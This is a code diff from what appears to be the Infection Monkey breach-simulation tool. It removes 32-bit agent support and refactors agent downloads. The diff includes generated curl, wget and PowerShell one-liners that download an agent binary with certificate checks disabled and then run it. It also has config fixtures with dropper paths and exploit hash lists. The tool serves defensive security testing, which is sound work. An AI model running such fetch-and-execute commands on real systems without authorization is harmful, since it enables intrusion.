result["size"] = os.path.getsize(real_path)
|
||||
return result
|
||||
|
||||
return {}
|
||||
|
||||
@staticmethod
|
||||
def get_executable_full_path(executable_filename):
|
||||
real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename)
|
||||
return real_path
|
||||
def get(self, host_os):
|
||||
try:
|
||||
path = get_agent_executable_path(host_os)
|
||||
return send_from_directory(path.parent, path.name)
|
||||
except UnsupportedOSError as ex:
|
||||
logger.error(ex)
|
||||
return make_response({"error": str(ex)}, 404)
|
||||
|
||||
@staticmethod
|
||||
def log_executable_hashes():
|
||||
|
@ -103,16 +36,30 @@ class MonkeyDownload(flask_restful.Resource):
|
|||
Logs all the hashes of the monkey executables for debugging ease (can check what Monkey
|
||||
version you have etc.).
|
||||
"""
|
||||
filenames = set([x["filename"] for x in MONKEY_DOWNLOADS])
|
||||
filenames = set(AGENTS.values())
|
||||
for filename in filenames:
|
||||
filepath = MonkeyDownload.get_executable_full_path(filename)
|
||||
if os.path.isfile(filepath):
|
||||
filepath = get_executable_full_path(filename)
|
||||
if filepath.is_file():
|
||||
with open(filepath, "rb") as monkey_exec_file:
|
||||
file_contents = monkey_exec_file.read()
|
||||
logger.debug(
|
||||
"{} hashes:\nSHA-256 {}".format(
|
||||
filename, hashlib.sha256(file_contents).hexdigest()
|
||||
)
|
||||
)
|
||||
file_sha256_hash = hashlib.sha256(file_contents).hexdigest()
|
||||
logger.debug(f"{filename} SHA-256 hash: {file_sha256_hash}")
|
||||
else:
|
||||
logger.debug("No monkey executable for {}.".format(filepath))
|
||||
logger.debug(f"No monkey executable for {filepath}")
|
||||
|
||||
|
||||
def get_agent_executable_path(host_os: str) -> Path:
|
||||
try:
|
||||
agent_path = get_executable_full_path(AGENTS[host_os])
|
||||
logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}")
|
||||
|
||||
return agent_path
|
||||
except KeyError:
|
||||
logger.warning(f"No monkey executables could be found for the host os: {host_os}")
|
||||
raise UnsupportedOSError(
|
||||
f'No Agents are available for unsupported operating system "{host_os}"'
|
||||
)
|
||||
|
||||
|
||||
def get_executable_full_path(executable_filename: str) -> Path:
|
||||
return Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "binaries" / executable_filename
|
||||
|
|
|
@ -606,7 +606,6 @@ class ConfigService:
|
|||
|
||||
for dropper_target in [
|
||||
"dropper_target_path_linux",
|
||||
"dropper_target_path_win_32",
|
||||
"dropper_target_path_win_64",
|
||||
]:
|
||||
exploit_options[dropper_target] = config.get(dropper_target, "")
|
||||
|
|
|
@ -174,14 +174,6 @@ INTERNAL = {
|
|||
"description": "Determines where should the dropper place the monkey on a "
|
||||
"Linux machine",
|
||||
},
|
||||
"dropper_target_path_win_32": {
|
||||
"title": "Dropper target path on Windows (32bit)",
|
||||
"type": "string",
|
||||
"default": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"description": "Determines where should the dropper place the monkey on a "
|
||||
"Windows machine "
|
||||
"(32bit)",
|
||||
},
|
||||
"dropper_target_path_win_64": {
|
||||
"title": "Dropper target path on Windows (64bit)",
|
||||
"type": "string",
|
||||
|
|
|
@ -5,8 +5,8 @@ import stat
|
|||
import subprocess
|
||||
from shutil import copyfile
|
||||
|
||||
from monkey_island.cc.resources.monkey_download import get_monkey_executable
|
||||
from monkey_island.cc.server_utils.consts import ISLAND_PORT, MONKEY_ISLAND_ABS_PATH
|
||||
from monkey_island.cc.resources.monkey_download import get_agent_executable_path
|
||||
from monkey_island.cc.server_utils.consts import ISLAND_PORT
|
||||
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -25,12 +25,13 @@ class LocalMonkeyRunService:
|
|||
@staticmethod
|
||||
def run_local_monkey():
|
||||
# get the monkey executable suitable to run on the server
|
||||
result = get_monkey_executable(platform.system().lower(), platform.machine().lower())
|
||||
if not result:
|
||||
return False, "OS Type not found"
|
||||
try:
|
||||
src_path = get_agent_executable_path(platform.system().lower())
|
||||
except Exception as ex:
|
||||
logger.error(f"Error running agent from island: {ex}")
|
||||
return False, str(ex)
|
||||
|
||||
src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"])
|
||||
dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"])
|
||||
dest_path = LocalMonkeyRunService.DATA_DIR / src_path.name
|
||||
|
||||
# copy the executable to temp path (don't run the monkey from its current location as it may
|
||||
# delete itself)
|
||||
|
|
|
@ -20,9 +20,7 @@ const getContents = (props) => {
|
|||
|
||||
const osTypes = {
|
||||
[OS_TYPES.WINDOWS_64]: 'Windows 64bit',
|
||||
[OS_TYPES.WINDOWS_32]: 'Windows 32bit',
|
||||
[OS_TYPES.LINUX_64]: 'Linux 64bit',
|
||||
[OS_TYPES.LINUX_32]: 'Linux 32bit'
|
||||
[OS_TYPES.LINUX_64]: 'Linux 64bit'
|
||||
}
|
||||
|
||||
const [osType, setOsType] = useState(OS_TYPES.WINDOWS_64);
|
||||
|
@ -48,11 +46,11 @@ const getContents = (props) => {
|
|||
}
|
||||
|
||||
function generateCommands() {
|
||||
if (osType === OS_TYPES.WINDOWS_64 || osType === OS_TYPES.WINDOWS_32) {
|
||||
return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, osType, customUsername)}]
|
||||
if (osType === OS_TYPES.WINDOWS_64) {
|
||||
return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, customUsername)}]
|
||||
} else {
|
||||
return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, osType, customUsername)},
|
||||
{type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, osType, customUsername)}]
|
||||
return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, customUsername)},
|
||||
{type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, customUsername)}]
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@ import AuthComponent from '../../AuthComponent';
|
|||
import {faLaptopCode} from '@fortawesome/free-solid-svg-icons/faLaptopCode';
|
||||
import InlineSelection from '../../ui-components/inline-selection/InlineSelection';
|
||||
import {cloneDeep} from 'lodash';
|
||||
import {faCloud, faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons';
|
||||
import {faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons';
|
||||
import RunOnIslandButton from './RunOnIslandButton';
|
||||
import AWSRunButton from './RunOnAWS/AWSRunButton';
|
||||
|
||||
|
|
|
@ -1,12 +1,8 @@
|
|||
import {OS_TYPES} from '../utils/OsTypes';
|
||||
|
||||
|
||||
export default function generateLocalLinuxCurl(ip, osType, username) {
|
||||
let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64';
|
||||
let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-${bitText} -k `
|
||||
+ `-o monkey-linux-${bitText}; `
|
||||
+ `chmod +x monkey-linux-${bitText}; `
|
||||
+ `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000;`;
|
||||
export default function generateLocalLinuxCurl(ip, username) {
|
||||
let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-64 -k `
|
||||
+ `-o monkey-linux-64; `
|
||||
+ `chmod +x monkey-linux-64; `
|
||||
+ `./monkey-linux-64 m0nk3y -s ${ip}:5000;`;
|
||||
|
||||
if (username != '') {
|
||||
command = `su - ${username} -c "${command}"`;
|
||||
|
|
|
@ -1,12 +1,8 @@
|
|||
import {OS_TYPES} from '../utils/OsTypes';
|
||||
|
||||
|
||||
export default function generateLocalLinuxWget(ip, osType, username) {
|
||||
let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64';
|
||||
export default function generateLocalLinuxWget(ip, username) {
|
||||
let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/`
|
||||
+ `monkey-linux-${bitText}; `
|
||||
+ `chmod +x monkey-linux-${bitText}; `
|
||||
+ `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`;
|
||||
+ `monkey-linux-64; `
|
||||
+ `chmod +x monkey-linux-64; `
|
||||
+ `./monkey-linux-64 m0nk3y -s ${ip}:5000`;
|
||||
|
||||
if (username != '') {
|
||||
command = `su - ${username} -c "${command}"`;
|
||||
|
|
|
@ -1,18 +1,14 @@
|
|||
import {OS_TYPES} from '../utils/OsTypes';
|
||||
|
||||
|
||||
function getAgentDownloadCommand(ip, osType) {
|
||||
let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64';
|
||||
function getAgentDownloadCommand(ip) {
|
||||
return `$execCmd = @"\r\n`
|
||||
+ `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};`
|
||||
+ `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe',`
|
||||
+ `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-64.exe',`
|
||||
+ `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`
|
||||
+ `\r\n"@; \r\n`
|
||||
+ `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`;
|
||||
}
|
||||
|
||||
export default function generateLocalWindowsPowershell(ip, osType, username) {
|
||||
let command = getAgentDownloadCommand(ip, osType)
|
||||
export default function generateLocalWindowsPowershell(ip, username) {
|
||||
let command = getAgentDownloadCommand(ip)
|
||||
if (username !== '') {
|
||||
command += ` -Credential ${username}`;
|
||||
}
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
export const OS_TYPES = {
|
||||
WINDOWS_32: 'win32',
|
||||
WINDOWS_64: 'win64',
|
||||
LINUX_32: 'linux32',
|
||||
LINUX_64: 'linux64'
|
||||
}
|
||||
|
|
|
@ -46,7 +46,7 @@ function aggregateMultipleResultsPba(results) {
|
|||
}
|
||||
|
||||
function modifyProcessListCollectionResult(result) {
|
||||
result[0] = "Found " + Object.keys(result[0]).length.toString() + " running processes";
|
||||
result[0] = 'Found ' + Object.keys(result[0]).length.toString() + ' running processes';
|
||||
}
|
||||
|
||||
// check for pbas with multiple results and aggregate their results
|
||||
|
|
|
@ -45,8 +45,6 @@
|
|||
|
||||
1. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source)
|
||||
monkey-linux-64 - monkey binary for linux 64bit
|
||||
monkey-linux-32 - monkey binary for linux 32bit
|
||||
monkey-windows-32.exe - monkey binary for windows 32bit
|
||||
monkey-windows-64.exe - monkey binary for windows 64bit
|
||||
|
||||
1. Install npm
|
||||
|
@ -95,15 +93,10 @@
|
|||
|
||||
monkey-linux-64 - monkey binary for linux 64bit
|
||||
|
||||
monkey-linux-32 - monkey binary for linux 32bit
|
||||
|
||||
monkey-windows-32.exe - monkey binary for windows 32bit
|
||||
|
||||
monkey-windows-64.exe - monkey binary for windows 64bit
|
||||
|
||||
Also, if you're going to run monkeys on local machine execute:
|
||||
- `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64`
|
||||
- `chmod 755 ./monkey_island/cc/binaries/monkey-linux-32`
|
||||
|
||||
1. Setup MongoDB (Use one of the two following options):
|
||||
- Download MongoDB and extract it to monkey/monkey_island/bin/mongodb:
|
||||
|
|
|
@ -27,7 +27,6 @@
|
|||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"],
|
||||
"exploit_ntlm_hash_list": ["nt_hash_1", "nt_hash_2", "nt_hash_3"],
|
||||
|
|
|
@ -104,7 +104,6 @@
|
|||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe"
|
||||
},
|
||||
"logging": {
|
||||
|
|
|
@ -26,7 +26,6 @@ Config = namedtuple(
|
|||
"exploit_password_list",
|
||||
"exploit_lm_hash_list",
|
||||
"exploit_ntlm_hash_list",
|
||||
"dropper_target_path_win_32",
|
||||
"dropper_target_path_win_64",
|
||||
],
|
||||
)
|
||||
|
@ -52,7 +51,8 @@ def powershell_exploiter(monkeypatch):
|
|||
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
|
||||
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
|
||||
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
|
||||
# it's necessary to avoid having to deal with the monkeyfs
|
||||
# it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so
|
||||
# fix this.
|
||||
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
|
||||
|
||||
return pe
|
||||
|
|
|
@ -16,7 +16,6 @@ HOST_AS_DICT = {
|
|||
"os": {},
|
||||
"services": {},
|
||||
"icmp": False,
|
||||
"monkey_exe": None,
|
||||
"default_tunnel": None,
|
||||
"default_server": None,
|
||||
}
|
||||
|
@ -37,7 +36,13 @@ ERROR_MSG = "failed because yolo"
|
|||
|
||||
@pytest.fixture
|
||||
def exploit_telem_test_instance():
|
||||
return ExploitTelem(EXPLOITER_NAME, HOST, ExploiterResultData(RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG))
|
||||
return ExploitTelem(
|
||||
EXPLOITER_NAME,
|
||||
HOST,
|
||||
ExploiterResultData(
|
||||
RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry):
|
||||
|
|
|
@ -14,7 +14,6 @@ HOST_AS_DICT = {
|
|||
"os": {},
|
||||
"services": {},
|
||||
"icmp": False,
|
||||
"monkey_exe": None,
|
||||
"default_tunnel": None,
|
||||
"default_server": None,
|
||||
}
|
||||
|
|
|
@ -173,7 +173,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
|
|||
expected_exploiters_config = {
|
||||
"options": {
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe",
|
||||
"dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe",
|
||||
"http_ports": [80, 443, 7001, 8008, 8080, 9200],
|
||||
},
|
||||
|
|
Loading…
Reference in New Issue